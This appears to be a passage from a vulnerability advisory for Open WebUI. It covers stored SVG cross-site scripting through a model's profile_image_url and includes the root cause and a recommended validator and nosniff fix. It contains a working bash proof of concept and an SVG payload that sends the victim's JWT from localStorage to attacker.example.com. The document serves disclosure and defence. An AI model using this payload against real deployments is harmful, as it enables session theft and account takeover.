No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>
No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
</script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
\"description\": \"Latest GPT-4 Turbo\"
},
\"params\": {},
\"access_grants\": []
}"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
Expected server response at Step 3 (the proof — SVG served inline, no defenses):
No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.
Recommended Fix
Input side add the validator to ModelMeta:
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
# ...
@field_validator('profile_image_url', mode='before')
@classmethod
def check_profile_image_url(cls, v):
if v is None:
return v
return validate_profile_image_url(v)
Output side add MIME check and nosniff to the serving endpoint:
# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
return FileResponse(f'{STATIC_DIR}/favicon.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff',
},
)
Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.